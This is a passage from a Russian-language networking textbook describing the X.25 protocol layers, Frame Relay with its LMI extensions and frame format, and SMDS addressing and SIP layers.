дезактивации физической среды, соединяющей данные DTE и DCE. Необходимо
отметить, что на Уровни 2 и 3 также ссылаются как на стандарты ISO — ISO 7776 (LAPB)
и ISO 8208 (пакетный уровень Х.25).
Сквозная передача между устройствами DTE выполняется через двунаправленную
связь, называемую виртуальной цепью. Виртуальные цепи позволяют осуществлять
связь между различными элементами сети через любое число промежуточных узлов без
назначения частей физической среды, что является характерным для физических
цепей. Виртуальные цепи могут быть либо перманентными, либо коммутируемыми
(временно). Перманентные виртуальные цепи обычно называют PVC; переключаемые
виртуальные цепи — SVC. PVC обычно применяются для наиболее часто используемых
передач данных, в то время как SVC применяются для спорадических передач данных.
Уровень 3 Х.25 отвечает за сквозную передачу, включающую как PVC, так и SVC.
После того, как виртуальная цепь организована, DTE отсылает пакет на другой
конец связи путем отправки его в DCE, используя соответствующую виртуальную
цепь. DCE просматривает номер виртуальной цепи для определения маршрута этого
пакета через сеть Х.25. Протокол Уровня 3 Х.25 осуществляет мультиплексную
передачу между всеми DTE, которые обслуживает устройство DCE, расположенное в
сети со стороны пункта назначения, в результате чего пакет доставлен к DTE
пункта назначения.
Формат блока данных
Блок данных Х.25 состоит из последовательности полей. Поля Х.25 Уровня 3
образуют пакет Х.25; они состоят из заголовка и данных пользователя. Поля Х.25
Уровня 2 (LAPB) включают в себя поле управления уровнем блока данных и поле
адресации, встроенный пакет Уровня 2 и проверочную последовательность блока
данных (FCS).
Уровень 3
Заголовок Х.25 Уровня 3 образован из “идентификатора универсального формата” —
general format identifier — (GFI), “идентификатора логического канала” — logical
channel identifier — (LCI) и “идентификатора типа пакета” — packet type
identifier — (PTI). GFI представляет собой 4-х битовое поле, которое указывает
на универсальный формат заголовка пакета. LCI представляет собой 12-битовое
поле, которое идентифицирует виртуальную цепь. Поле LCI является логически
значимым в интерфейсе DTE/DCE. Другими словами, для организации виртуальной цепи
PDN соединяет два логических канала, каждый из которых имеет независимый LCI,
двумя интерфейсами DTE/DCE. Поле PTI идентифицирует один из 17 типов пакетов
Х.25.
Поля адресации в пакетах установления обращения обеспечивают адреса DTE
источника и пункта назначения. Они используются для организации виртуальных
цепей, включающих передачу Х.25. Recommendation Х.121 CCITT определяет форматы
адресов источника и пункта назначения.
Адреса Х.121 (называемые также International Data Numbers, или IDN) имеют разную
длину, которая может доходить до 14 десятичных знака. Четвертый байт в пакете
организации обращения определяет длину адресов DTE источника и назначения.
Первые четыре цифры IDN называются “код идентификации сети” — data network
identification code — (DNIC). DNIC поделен на две части; первая часть (3 цифры)
определяет страну, где находится PSN, вторая часть определяет саму PSN.
Остальные цифры называются “номером национального терминала” — national terminal
number — (NTN); они используются для идентификации определенного DTE в сети PSN.
Поля адресации, образующие адрес Х.121, необходимы только при использовании SVC,
да и то только на время установления обращения. После того, как вызов
организован, PSN использует поле LCI заголовка пакета данных для назначения
конкретной виртуальную цепь отдаленному DTE.
Х.25 Уровня 3 использует три рабочих процедуры организации виртуальной цепи:
● Установления обращения
● Передача данных
● Разъединение вызова
Выполнение этих процедур зависит от использованного типа виртуальной цепи. Для
PVC Уровень 3 Х.25 всегда находится в режиме передачи данных, так как цепь
организована перманентно. В случае, если применена SVC, то используются все три
процедуры.
Процедура передачи данных зависит от пакетов DATA. Х.25 Уровня 3 сегментирует и
подвергает операции “обратный ассемблер” сообщения пользователя, если длина их
превышает максимальный размер пакета для данной цепи. Каждому пакету DATA
присваивается номер последовательности, поэтому можно управлять неисправностями
и потоком информации через интерфейс DTE/DCE.
Уровень 2
Уровень 2 реализован протоколом LAPB. LAPB позволяет обеим сторонам (DTE и DCE)
инициировать связь друг с другом. В процессе передачи информации LAPB
контролирует, чтобы блоки данных поступали к приемному устройству в правильной
последовательности и без ошибок.
Также, как и аналогичные протоколы канального уровня, LAPB использует три типа
форматов блоков данных:
Информационный блок данных (Information (I) frame)
Эти блоки данных содержат информацию высших уровней и определенную управляющую
информацию (необходимую для работы с полным дублированием). Номера
последовательности отправки и приема и бит опроса конечного (P/F) осуществляют
управление информационным потоком и устранением неисправностей. Номер
последовательности отправки относится к номеру текущего блока данных. Номер
последовательности приема фиксирует номер блока данных, который должен быть
принят следующим. В диалоге с полным дублированием как отправитель, так и
получатель хранят номера последовательности отправки и приема; она используется
для обнаружения и устранения ошибок.
Блоки данных супервизора (Supervisory (S) frames)
Эти блоки данных обеспечивают управляющую информацию. У них нет информационного
поля. Блоки данных S запрашивают и приостанавливают передачу, сообщают о
состоянии канала и подтверждают прием блоков данных типа I.
Непронумерованные блоки данных (Unnumbered (U) frames)
Как видно из названия, эти блоки данных непоследовательны. Они используются для
управляющих целей. Например, они могут инициировать связи, используя стандартную
или расширяемую организацию окон (modulo 8 versus 128), разъединять канал,
сообщать об ошибках в протоколе, и выполнять другие аналогичные функции.
Поле flag ограничивает блок данных LAPB. Для того, чтобы предотвратить появление
структуры флага в пределах внутренней части блока данных, используется вставка
битов.
Поле address указывает, что содержит блок данных-команду или ответный сигнал.
Поле control обеспечивает дальнейшую квалификацию блоков данных и блоков команд,
а также указывает формат блока данных (U, I или S)), функции блока данных
(например, receiver ready — “получатель готов”, или disconnect — “отключение”) и
номер последовательности отправки/ приема.
Поле data содержит данные высших уровней. Его размер и формат меняются в
зависимости от типа пакета Уровня 3. Максимальная длина этого поля
устанавливается соглашением между администратором PSN и абонентом во время
оформления абонентства.
Поле FCS обеспечивает целостность передаваемых данных.
Уровень 1
Уровень 1 Х.25 использует протокол физического уровня Х.21 bis, который примерно
эквивалентен RS-232-С. Протокол X.21 bis является производным от CCITT
Recommendations V24 и V25, которые соответственно идентифицируют цепи межобмена
и характеристики электрических сигналов интерфейса DTE/DCE. X.21 bis
обеспечивает двухточечные связи, скорости до 19.2 Кб/сек и синхронную передачу с
полным дублированием через четырех-проводной носитель. Максимальное расстояние
между DTE и DCE — 15 метров.
4.14. Frame Relay
Frame Relay первоначально замышлялся как протокол для использования в
интерфейсах ISDN, и исходные предложения, представленные в CCITT в 1984 г.,
преследовали эту цель. Была также предпринята работа над Frame Relay в
аккредитованном ANSI комитете по стандартам T1S1 в США.
Крупное событие в истории Frame Relay произошло в 1990 г., когда Cisco Systems,
StrataCom, Northern Telecom и Digital Equipment Corporation образовали
консорциум, чтобы сосредоточить усилия на разработке технологии Frame Relay и
ускорить появление изделий Frame Relay, обеспечивающих взаимодействие сетей.
Консорциум разработал спецификацию, отвечающую требованиям базового протокола
Frame Relay, рассмотренного в T1S1 и CCITT; однако он расширил ее, включив
характеристики, обеспечивающие дополнительные возможности для комплексных
окружений межсетевого объединения. Эти дополнения к Frame Relay называют
обобщенно local management interface (LMI) (интерфейс управления локальной
сетью).
Основы технологии
Frame Relay обеспечивает возможность передачи данных с коммутацией пакетов через
интерфейс между устройствами пользователя (например, маршрутизаторами, мостами,
главными вычислительными машинами) и оборудованием сети (например,
переключающими узлами). Устройства пользователя часто называют терминальным
оборудованием (DTE), в то время как сетевое оборудование, которое обеспечивает
согласование с DTE, часто называют устройством завершения работы информационной
цепи (DCE). Сеть, обеспечивающая интерфейс Frame Relay, может быть либо
общедоступная сеть передачи данных и использованием несущей, либо сеть с
оборудованием, находящимся в частном владении, которая обслуживает отдельное
предприятие.
В роли сетевого интерфейса, Frame Relay является таким же типом протокола, что и
Х.25. Однако Frame Relay значительно отличается от Х.25 по своим функциональным
возможностям и по формату. В частности, Frame Relay является протоколом для
линии с большим потоком информации, обеспечивая более высокую производительность
и эффективность.
В роли интерфейса между оборудованием пользователя и сети, Frame Relay
обеспечивает средства для мультиплексирования большого числа логических
информационных диалогов (называемых виртуальными цепями) через один физический
канал передачи, которое выполняется с помощью статистики. Это отличает его от
систем, использующих только технику временного мультиплексирования (TDM) для
поддержания множества информационных потоков. Статистическое мультиплексирование
Frame Relay обеспечивает более гибкое и эффективное использование доступной
полосы пропускания. Оно может использоваться без применения техники TDM или как
дополнительное средство для каналов, уже снабженных системами TDM.
Другой важной характеристикой Frame Relay является то, что она использует
новейшие достижения технологии передачи глобальных сетей. Более ранние протоколы
WAN, такие как Х.25, были разработаны в то время, когда преобладали аналоговые
системы передачи данных и медные носители. Эти каналы передачи данных
значительно менее надежны, чем доступные сегодня каналы с волоконно-оптическим
носителем и цифровой передачей данных. В таких каналах передачи данных протоколы
канального уровня могут предшествовать требующим значительных временных затрат
алгоритмам исправления ошибок, оставляя это для выполнения на более высоких
уровнях протокола. Следовательно, возможны большие производительность и
эффективность без ущерба для целостности информации. Именно эта цель
преследовалась при разработке Frame Relay. Он включает в себя алгоритм проверки
при помощи циклического избыточного кода (CRC) для обнаружения испорченных битов
(из-за чего данные могут быть отвергнуты), но в нем отсутствуют какие-либо
механизмы для корректирования испорченных данных средствами протокола (например,
путем повторной их передачи на данном уровне протокола).
Другим различием между Frame Relay и Х.25 является отсутствие явно выраженного
управления потоком для каждой виртуальной цепи. В настоящее время, когда
большинство протоколов высших уровней эффективно выполняют свои собственные
алгоритмы управления потоком, необходимость в этой функциональной возможности на
канальном уровне уменьшилась. Таким образом, Frame Relay не включает явно
выраженных процедур управления потоком, которые являются избыточными для этих
процедур в высших уровнях. Вместо этого предусмотрены очень простые механизмы
уведомления о перегрузках, позволяющие сети информировать какое-либо устройство
пользователя о том, что ресурсы сети находятся близко к состоянию перегрузки.
Такое уведомление может предупредить протоколы высших уровней о том, что может
понадобиться управление потоком.
Стандарты Current Frame Relay адресованы перманентным виртуальным цепям (PVC),
определение конфигурации которых и управление осуществляется административным
путем в сети Frame Relay. Был также предложен и другой тип виртуальных цепей —
коммутируемые виртуальные цепи (SVC). Протокол ISDN предложен в качестве
средства сообщения между DTE и DCE для динамичной организации, завершения и
управления цепями SVC.
Дополнения LMI
Помимо базовых функций передачи данных протокола Frame Relay, спецификация
консорциума Frame Relay включает дополнения LMI, которые делают задачу
поддержания крупных межсетей более легкой. Некоторые из дополнений LMI называют
“общими”; считается, что они могут быть реализованы всеми, кто взял на
вооружение эту спецификацию. Другие функции LMI называют “факультативными”. Ниже
приводится следующая краткая сводка о дополнениях LMI:
Сообщения о состоянии виртуальных цепей (общее дополнение)
Обеспечивает связь и синхронизацию между сетью и устройством пользователя,
периодически сообщая о существовании новых PVC и ликвидации уже существующих PVC,
и в большинстве случаев обеспечивая информацию о целостности PVC. Сообщения о
состоянии виртуальных
цепей предотвращают отправку информации в “черные дыры”, то есть через PVC,
которые больше не существуют.
Многопунктовая адресация (факультативное)
Позволяет отправителю передавать один блок данных, но доставлять его через сеть
нескольким получателям. Таким образом, многопунктовая адресация обеспечивает
эффективную транспортировку сообщений протокола маршрутизации и процедур
резолюции адреса, которые обычно должны быть отосланы одновременно во многие
пункты назначения.
Глобальная адресация (факультативное)
Наделяет идентификаторы связи глобальным, а не локальным значением, позволяя их
использование для идентификации определенного интерфейса с сетью Frame Relay.
Глобальная адресация делает сеть Frame Relay похожей на LAN в терминах
адресации; следовательно, протоколы резолюции адреса действуют в Frame Relay
точно также, как они работают в LAN.
Простое управление потоком данных (факультативное)
Обеспечивает механизм управления потоком XON/XOFF, который применим ко всему
интерфейсу Frame Relay. Он предназначен для тех устройств, высшие уровни которых
не могут использовать биты уведомления о перегрузке и которые нуждаются в
определенном уровне управления потоком данных.
Форматы блока данных
Флаги (flags) ограничивают начало и конец блока данных. За открывающими флагами
следуют два байта адресной (address) информации. 10 битов из этих двух байтов
составляют идентификацию (ID) фактической цепи (называемую сокращенно DLCI от
“data link connection identifier”).
Центром заголовка Frame Relay является 10-битовое значение DLCI. Оно
идентифицирует ту логическую связь, которая мультиплексируется в физический
канал. В базовом режиме адресации (то есть не расширенном дополнениями LMI),
DLCI имеет логическое значение; это означает, что конечные устройства на двух
противоположных концах связи могут использовать различные DLCI для обращения к
одной и той же связи.
В конце каждого байта DLCI находится бит расширенного адреса (ЕА). В случае,
если этот бит единица, то текущий байт является последним байтом DLCI. В
настоящее время все реализации используют двубайтовый DLCI, но присутствие битов
ЕА означает, что может быть достигнуто соглашение об использовании в будущем
более длинных DLCI.
Бит C/R, следующий за самым значащим байтом DLCI, в настоящее время не
используется.
И наконец, три бита в двубайтовом DLCI являются полями, связанными с управлением
перегрузкой. Бит “Уведомления о явно выраженной перегрузке в прямом направлении”
(FECN) устанавливается сетью Frame Relay в блоке данных для того, чтобы сообщить
DTE, принимающему этот блок данных, что на тракте от источника до места
назначения имела место перегрузка. Бит “Уведомления о явно выраженной перегрузке
в обратном направлении” (BECN) устанавливается сетью Frame Relay в блоках
данных, перемещающихся в направлении, противоположном тому, в котором
перемещаются блоки данных, встретившие перегруженный тракт. Суть этих битов
заключается в том, что показания FECN или BECN могут быть продвинуты в
какой-нибудь протокол высшего уровня, который может предпринять соответствующие
действия по управлению потоком. (Биты FECN полезны для протоколов высших
уровней, которые используют управление потоком, контролируемым пользователем, в
то время как биты BECN являются значащими для тех протоколов, которые зависят от
управления потоком, контролируемым источником (“emitter-controlled”).
Бит “приемлемости отбрасывания” (DE) устанавливается DTE, чтобы сообщить сети
Frame Relay о том, что какой-нибудь блок данных имеет более низшее значение, чем
другие блоки данных и должен быть отвергнут раньше других блоков данных в том
случае, если сеть начинает испытывать недостаток в ресурсах. то есть он
представляет собой очень простой механизм приоритетов. Этот бит обычно
устанавливается только в том случае, когда сеть перегружена.
Формат сообщений LMI
Сообщения LMI отправляются в блоках данных, которые характеризуются DLCI,
специфичным для LMI (определенным в спецификации консорциума как DLCI=1023).
В сообщениях LMI заголовок базового протокола такой же, как в обычных блоках
данных. Фактическое сообщение LMI начинается с четырех мандатных байтов, за
которыми следует переменное число информационных элементов (IE). Формат и
кодирование сообщений LMI базируются на стандарте ANSI T1S1.
Первый из мандатных байтов (unnumbered information indicator — индикатор
непронумерованной информации) имеет тот же самый формат, что и индикатор блока
непронумерованной информации LAPB (UI) с битом P/F, установленным на нуль.
Следующий байт называют “дискриминатор протокола” (protocol discriminator); он
установлен на величину, которая указывает на “LMI”. Третий мандатный байт (call
reference-ссылка на обращение) всегда заполнен нулями.
Последний мандатный байт является полем “типа сообщения” (message type).
Определены два типа сообщений. Сообщения “запрос о состоянии” (status enquiry)
позволяют устройствам пользователя делать запросы о состоянии сети. Сообщения
“состояние” (status) являются ответом на сообщения-запросы о состоянии.
Сообщения “продолжайте работать” (keepalives) (посылаемые через линию связи для
подтверждения того, что обе стороны должны продолжать считать связь действующей)
и сообщения о состоянии PVC являются примерами таких сообщений; это общие
свойства LMI, которые должны быть частью любой реализации, соответствующей
спецификации консорциума.
Сообщения о состоянии и запросы о состоянии совместно обеспечивают проверку
целостности логического и физического каналов. Эта информация является критичной
для окружений маршрутизации, так как алгоритмы маршрутизации принимают решения,
которые базируются на целостности канала.
За полем типа сообщений следуют несколько IЕ. Каждое IЕ состоит из
одно-байтового идентификатора IE, поля длины IE и одного или более байтов,
содержащих фактическую информацию.
Глобальная адресация
В дополнение к общим характеристикам LMI существуют несколько факультативных
дополнений LMI, которые чрезвычайно полезны в окружении межсетевого объединения.
Первым важным факультативным дополнением LMI является глобальная адресация. Как
уже отмечалось раньше, базовая (недополненная) спецификация Frame Relay
обеспечивает только значения поля DLCI, которые идентифицируют цепи PVC с
локальным значением. В этом случае отсутствуют адреса, которые идентифицируют
сетевые интерфейсы или узлы, подсоединенные к этим интерфейсам. Так как эти
адреса не существуют, они не могут быть обнаружены с помощью традиционной
техники обнаружения и резолюции адреса. Это означает, что при нормальной
адресации Frame Relay должны быть составлены статистические карты, чтобы
сообщать маршрутизаторам, какие DLCI использовать для обнаружения отдаленного
устройства и связанного с ним межсетевого адреса.
Дополнение в виде глобальной адресации позволяет использовать идентификаторы
узлов. При использовании этого дополнения значения, вставленные в поле DLCI
блока данных, являются глобально значимыми адресами индивидуальных устройств
конечного пользователя (например, маршрутизаторов).
Глобальная адресация обеспечивает значительные преимущества в крупных
комплексных объединенных сетях, так как в этом случае маршрутизаторы
воспринимают сеть Frame Relay на ее периферии как обычную LAN. Нет никакой
необходимости изменять протоколы высших уровней для того, чтобы использовать все
преимущества, обеспечиваемые их возможностями.
Групповая адресация (multicusting)
Другой ценной факультативной характеристикой LMI является многопунктовая
адресация. Группы многопунктовой адресации обозначаются последовательностью из
четырех зарезервированных значений DLCI (от 1019 до 1022). Блоки данных,
отправляемые каким-либо устройством, использующим один из этих зарезервированных
DLCI, тиражируются сетью и отправляются во все выходные точки группы с данным
обозначением. Дополнение о многопунктовой адресации определяет также сообщения
LMI, которые уведомляют устройства пользователя о дополнении, ликвидации и
наличии групп с многопунктовой адресацией.
В сетях, использующих преимущества динамической маршрутизации, маршрутная
информация должна обмениваться между большим числом маршрутизаторов. Маршрутные
сообщения могут быть эффективно отправлены путем использования блоков данных с
DLCI многопунктовой адресации. Это обеспечивает отправку сообщений в конкретные
группы маршрутизаторов.
Реализация сети
Frame Relay может быть использована в качестве интерфейса к услугам либо
общедоступной сети со своей несущей, либо сети с оборудованием, находящимся в
частном владении. Обычным способом реализации частной сети является дополнение
традиционных мультиплексоров Т1 интерфейсами Frame Relay для информационных
устройств, а также интерфейсами (не являющимися специализированными интерфейсами
Frame Relay) для других прикладных задач, таких как передача голоса и проведение
видео-телеконференций.
Обслуживание общедоступной сетью Frame Relay разворачивается путем размещения
коммутирующего оборудования Frame Relay в центральных офисах (CO)
телекоммуникационной линии. В этом случае пользователи могут реализовать
экономические выгоды от тарифов начислений за пользование услугами,
чувствительных к трафику, и освобождены от работы по администрированию,
поддержанию и обслуживанию оборудования сети.
Для любого типа сети линии, подключающие устройства пользователя к оборудованию
сети, могут работать на скорости, выбранной из широкого диапазона скоростей
передачи информации. Типичными являются скорости в диапазоне от 56 Kb/сек до 2
Mb/сек, хотя технология Frame Relay может обеспечивать также и более низкие и
более высокие скорости. Ожидается, что в скором времени будут доступны
реализации, способные оперировать каналами связи с пропускной способностью свыше
45 Mb/сек (DS3).
Как в общедоступной, так и в частной сети факт обеспечения устройств
пользователя интерфейсами Frame Relay не является обязательным условием того,
что между сетевыми устройствами используется протокол Frame Relay. В настоящее
время не существует стандартов на оборудование межсоединений внутри сети Frame
Relay. Таким образом, могут быть использованы традиционные технологии коммутации
цепей, коммутации пакетов, или гибридные методы, комбинирующие эти технологии.
4.15. SMDS
Switched Multimegabit Data Service (SMDS) (Служба коммутации данных
мультимегабитного диапазона) является службой дейтаграмм с коммутацией пакетов,
предназначенной для высокоскоростных информационных сообщений глобальных сетей.
Обеспечивая пропускную способность, которая первоначально будет находиться в
диапазоне от 1 до 34 Mg/сек, SMDS в настоящее время начинает повсеместно
использоваться в общедоступных сетях передачи данных коммерческими сетями связи
в результате реакции на две тенденции. Первая из них-это пролиферация обработки
распределенных данных и других прикладных задач, для реализации которых
необходимы высокопроизводительные объединенные сети. Второй тенденцией является
уменьшающаяся стоимость и высокий потенциал полосы пропускания
волоконно-оптического носителя, обеспечивающие жизнеспособность таких прикладных
задач при их использовании в глобальных сетях.
SMDS описана в серии спецификаций, выпущенных Bell Communications Reseach (Bellcore)
и принятых поставщиками оборудования для телекоммуникаций и коммерческими сетями
связи. Одна из этих спецификаций описывает SMDS Interface Protocol (SIP)
(Протокол интерфейса SMDS), который является протоколом согласования между
устройством пользователя (называемым также customer premises equipment — CPE —
оборудованием в помещении заказчика) и оборудованием сети SMDS. SIP базируется
на стандартном протоколе IEEE для сетей крупных городов (MAN), то есть на
стандарте IEEE 802.6 Distribuited Queue Dual bus (DQDB) (Дублированная шина
очередей к распределенной базе данных). При применении этого протокола
устройства CPE, такие как роутеры, могут быть подключены к сети SMDS и
пользоваться обслуживанием SMDS для высокоскоростных объединенных сетей.
Основы технологии
Доступ к SMDS обеспечивается либо через средства передачи с пропускной
способностью 1.544-Mgps (DS-1 или Digital Signal 1), либо через средства
передачи с пропускной способностью 44.736-Mgps (DS-3 или Digital Signal 3).
Несмотря на то, что SMDS обычно описывается как обслуживание, базирующееся на
волоконно-оптических носителях, доступ DS-1 может быть обеспечен либо через
волоконно-оптический, либо через базирующийся на меди носитель с достаточно
хорошими показателями характеристики погрешностей. Пункт разграничения между
сетью SMDS частной компании — владельца сети связи и оборудованием клиента
называется интерфейсом абонент/сеть (SNI). Единицы данных SMDS могут содержать в
себе до 9,188 восьмибитовых байтов информации пользователя. Следовательно, SMDS
способен формировать все пакеты данных IEEE 802.3, IEEE 802.4, IEEE 802.5 и FDDI.
Большой размер пакета согласуется с задачами высокоскоростного обслуживания.
Адресация
Как и у других дейтаграммных протоколов, единицы данных SMDS несут адрес как
источника, так и пункта назначения. Получатель единицы данных может использовать
адрес источника для возврата данных отправителю и для выполнения таких функций,
как разрешение адреса (отыскание соответствия между адресами высших уровней и
адресами SMDS). Адреса SMDS являются 10-значными адресами, напоминающими обычные
телефонные номера.
Кроме того, SMDS обеспечивает групповые адреса, которые позволяют отправлять
одну информационную единицу, которая затем доставляется сетью нескольким
получателям. Групповая адресация аналогична многопунктовой адресации в локальных
сетях и является ценной характеристикой для прикладных задач объединенных сетей,
где она широко используется для маршрутизации, разрешения адреса и динамического
нахождения ресурсов сети (таких, как служебные файловые процессоры).
SMDS обеспечивает несколько других характеристик адресации. Адреса источников
подтверждаются сетью для проверки законности назначения рассматриваемого адреса
тому SNI, который является его источником. Таким образом пользователи защищаются
от обманного присвоения адреса (address spoofing), когда какой-нибудь
отправитель выдает себя за другого отправителя. Возможна также отбраковка
(экранирование) адресов источника и пункта назначения. Отбраковка адресов
источника производится в тот момент, когда информационные единицы уходят из
сети, в то время как отбраковка адресов пункта назначения производится в момент
входа информационных единиц в сеть. В случае, если адреса не являются
разрешенными адресами, то доставка информационной единицы не производится. При
наличии адресного экранирования абонент может организовать собственную
виртуальную цепь, которая исключает ненужный трафик. Это обеспечивает абоненту
экран для защиты исходных данных и способствует повышению эффективности, так как
устройствам, подключенным к SMDS, не обязательно тратить ресурсы на обработку
ненужного трафика.
Классы доступа
Для того, чтобы приспособиться к широкому диапазону требований трафика и
возможностей оборудования, SMDS обеспечивает ряд классов доступа. Различные
классы доступа определяют различные максимальные поддерживаемые скорости
передачи информации, а также допустимую степень разбивки при отправке пакетов в
сеть SMDS.
В интерфейсах скоростей DS-3 классы доступа реализуются через алгоритмы
управления разрешением на передачу очередного пакета данных. Эти алгоритмы
отслеживают равновесие разрешений на передачу очередного пакета данных для
каждого интерфейса заказчика. Разрешения даются на основе принципа
периодичности, вплоть до определенного максимума. Затем баланс разрешений
декрементируется по мере отсылки пакетов в сеть.
Работа схемы управления разрешением на передачу очередного пакета в значительной
степени ограничивает работу оборудования заказчика до некоторой поддерживаемой,
или средней скорости передачи информации. Эта средняя скорость передачи меньше
пропускной способности устройства доступа DS-3 при полной информационной
загрузке. Для интерфейса доступа DS-3 обеспечиваются 5 классов доступа,
соответствующих средним скоростям передачи информации 4, 10, 16, 25 и 34 Mb/сек.
Схема управления разрешением на передачу непригодна для интерфейсов доступа со
скоростями DS-1.
Протокол интерфейса SMDS (SIP)
Доступ к сети SMDS осуществляется через SIP. SIP базируется на протоколе DQDB,
определяемом стандартом IEEE 802.6 MAN. Протокол DQDB определяет схему
управления доступом к носителю, которая позволяет объединять между собой
множество систем через две однонаправленные логические шины.
В соответствии с IEEE 802.6, стандарт DQDB может быть использован для построения
частных, базирующихся на волоконно-оптических носителях сетей MAN,
поддерживающих различные прикладные задачи, в том числе передачу данных, голоса
и видеосигналов. Этот протокол был выбран в качестве базиса для SIP по той
причине, что это был открытый стандарт, который мог обеспечить все
характеристики обслуживания SMDS и совместимость со стандартами передачи для
коммерческих линий связи, а также с новыми стандартами для Broadband ISDN (BISDN).
По мере совершенствования и распространения технологии BISDN, коммерческие линии
связи собираются обеспечить не только SMDN, но также и широкополосное видео и
речевое обслуживание.
Для сопряжения с сетями SMDS необходима только часть протокола IEEE 802.6,
касающаяся передачи данных без установления соединения. Поэтому SIP не
определяет поддержку применений, связанных с передачей голоса или видеосигналов.
В случае, если протокол DQDB используется для получения доступа к сети SMDS, то
результатом его работы является “доступ DQDB” (access DQDB). Термин “доступ DQDB”
отличает работу протокола DQDB в интерфейсе SNI от его работы в других
окружениях (таких, как внутри сети SMDS). Один переключатель в сети SMDS
воздействует на доступ DQDB как одна станция, в то время как оборудование
заказчика воздействует на доступ DQDB как одна или более станций.
Так как протокол DQDB предназначался для поддержки информационных и
неинформационных систем, а также потому, что это протокол управления
коллективным доступом к среде, он является относительно сложным протоколом. Он
состоит из двух частей:
● Синтаксиса протокола
● Алгоритма распределенного доступа с организацией очереди, который назначает
управление коллективным доступом к носителю
Конфигурация CPE
Существуют две возможные конфигурации оборудования СРЕ для получения доступа
DQDB к сети SMDS. При конфигурации с одним СРЕ доступ DQDB просто соединяет
переключатель в коммерческой сети и одну станцию, принадлежащую абоненту (СРЕ).
Для конфигурации с большим числом СРЕ, доступ DQDB состоит из переключателя в
сети и множества объединенных СРЕ в местоположении абонента. Для второй
конфигурации, все СРЕ должны принадлежать одному и тому же абоненту.
Для случая с одним СРЕ, доступ DQDB фактически представляет собой просто подсеть
DQDB из двух узлов. Каждый из этих узлов (переключатель и СРЕ) передают данные
другому через однонаправленную логическую шину. Конкуренция на получение этой
шины отсутствует, так как других станций нет. Поэтому нет необходимости
использовать алгоритм распределенного доступа с организацией очереди. При
отсутствии той сложности, которую создает применение алгоритма распределенного
доступа с организацией очереди, SIP для конфигурации с одним СРЕ намного проще,
чем SIP для конфигурации с большим числом СРЕ.
Уровни SIP
SIP может быть логически разделен на 3 уровня.
Уровень 3
Задачи, выполняемые уровнем 3 SIP, включают в себя формирование пакета “единиц
данных обслуживания SMDS” (service data units (SDU)) в заголовке и концевике
уровня 3. Затем “единицы данных протокола” (protocol data units (PDU))
разбиваются на PDU уровня 2 таким образом, чтобы соответствовать спецификациям
уровня 2.
PDU уровня 3 SIP достаточно сложна.
Поля со знаком Х+ не используются средствами SMDS; они присутствуют в протоколе
для того, чтобы обеспечить выравнивание формата SIP с форматом протокола DQDB.
Значения, помещенные в этих полях оборудованием CPE, должны быть доставлены
сетью в неизмененном виде.
Два резервных поля (reserved) должны быть заполнены нулями. Два поля BEtag
содержат идентичные значения и используются для формирования связи между первым
и последним сегментами, или “единицами данных протокола” (PDU) уровня 2 одной из
PDU уровня 3 SIP. Эти поля могут быть использованы для определения условия, при
котором как последний сегмент одной PDU уровня 3, так и первый сегмент следующей
PDU уровня 3 потеряны, что приводит к приему неисправной PDU уровня 3.
Адреса пункта назначения (destination) и источника (source) состоят из двух
частей: типа адреса (address type) и адреса (address). Тип адреса для обоих
случаев занимает четыре наиболее значимых бита данного поля. В случае, если
адрес является адресом пункта назначения, то тип адреса может представлять собой
либо “1100”, либо “1110”. Первое значение обозначает 60-битовый индивидуальный
адрес, в то время как второе значение обозначает 60-битовый групповой адрес. В
случае, если адрес является адресом источника, то поле типа адреса может
означать только индивидуальный адрес.
Bellcore Technical Advisories (Техническое Консультативное Заключение Bellcore)
определяет, каким образом у адресов, формат которых согласуется с North American
Numbering Plan (NANP), должны быть закодированы адресные поля источника и места
назначения. В этом случае четыре наиболее значащих бита каждого из подполей
адреса источника и пункта назначения содержат значение “0001”, которое является
международным кодом страны для Северной Америки. Следующие 40 битов содержат
значения 10-значных адресов SMDS, закодированных в двоично-десятичных числах (BCD)
и выровненных в соответствии с NANP.
Последние 16 битов (наименее значащих) заполнены незначащей информацией
(единицами).
Поле “идентификатора протокола высшего уровня” (higher-layer protocol identifier)
указывает, какой тип протокола заключен в информационном поле. Это значение
является важным для систем, использующим сеть SMDS (таких, как роутеры Cisco),
но оно не обрабатывается и не изменяется сетью SMDS.
Поле “длины расширения заголовка” (header extesion length (HEL)) указывает на
число 32-битовых слов в поле расширения заголовка. В настоящее время установлен
размер этого поля для SMDS, равный 12 байтам. Следовательно, значение HEL всегда
“0011”.
Поле расширения заголовка (header extension (HE)) в настоящее время определяется
как имеющее два назначения. Одно из них — содержать номер версии SMDS, который
используется для определения версии протокола. Второе — сообщать о “значении для
выбора несущей” (carrier selection value), которое обеспечивает возможность
выбирать конкретную несущую межобмена для того, чтобы переносить трафик SMDS из
одной локальной коммерческой сети связи в другую. При необходимости в будущем
может быть определена другая информация, о которой будет сообщаться в поле
расширения заголовка.
Уровень 2
PDU уровня 3 сегментируются на PDU уровня 2 с одинаковым размером
(53-восьмибитовых байта), которые часто называют “слотами” (slots) или
“секциями” (cells).
Поле “управления доступом” (access control) PDU уровня 2 SIP содержит различные
значения, зависящие от направления информационного потока. В случае, если слот
отправлен из переключателя в CPE, то важным является только указание о том,
содержит или нет данное PDU информацию.
В случае, если слот отправлен из СРЕ в переключатель, и при этом конфигурация
представляет собой конфигурацию с несколькими СРЕ, то это поле может также
содержать биты запроса, которые обозначают запросы шины для этих слотов,
соединяющей переключатель и СРЕ. Дальнейшие подробности об использовании этих
битов запроса для реализации управления распределенным доступом к среде с
организацией очереди могут быть получены из стандарта IEEE 802.6.
Поле “информации управления сетью” (network control information) может содержать
только два возможных значения. Одна из двух конкретных структур битов включается
в том случае, если PDU содержит информацию; другая используется, когда она
отсутствует.
Поле “типа сегмента” (segment type) указывает, является ли данная PDU уровня 2
начальным, последним или каким-нибудь слотом из середины PDU уровня 3.
Поле “идентификатора (ID) сообщения” (message ID) обеспечивает связь PDU уровня
2 с каким-либо PDU уровня 3. ID сообщения одинаково для всех сегментов данного
PDU уровня 3. Для доступа DQDB с множеством СРЕ, PDU, выходящие из разных СРЕ,
должны иметь разные ID сообщения. Это позволяет сети SMDS, принимающей
чередующиеся слоты от различных PDU уровня 3, ассоциировать каждый PDU уровня 2
с соответствующим PDU уровня 3. Следующие друг за другом PDU уровня 3 из одного
и того же СРЕ могут иметь идентичные ID сообщения. Это не вносит никакой
неопределенности, так как любой отдельный СРЕ должен отправить все PDU уровня 2,
входящие в какой- либо PDU уровня 3, прежде чем он приступит к отправке PDU
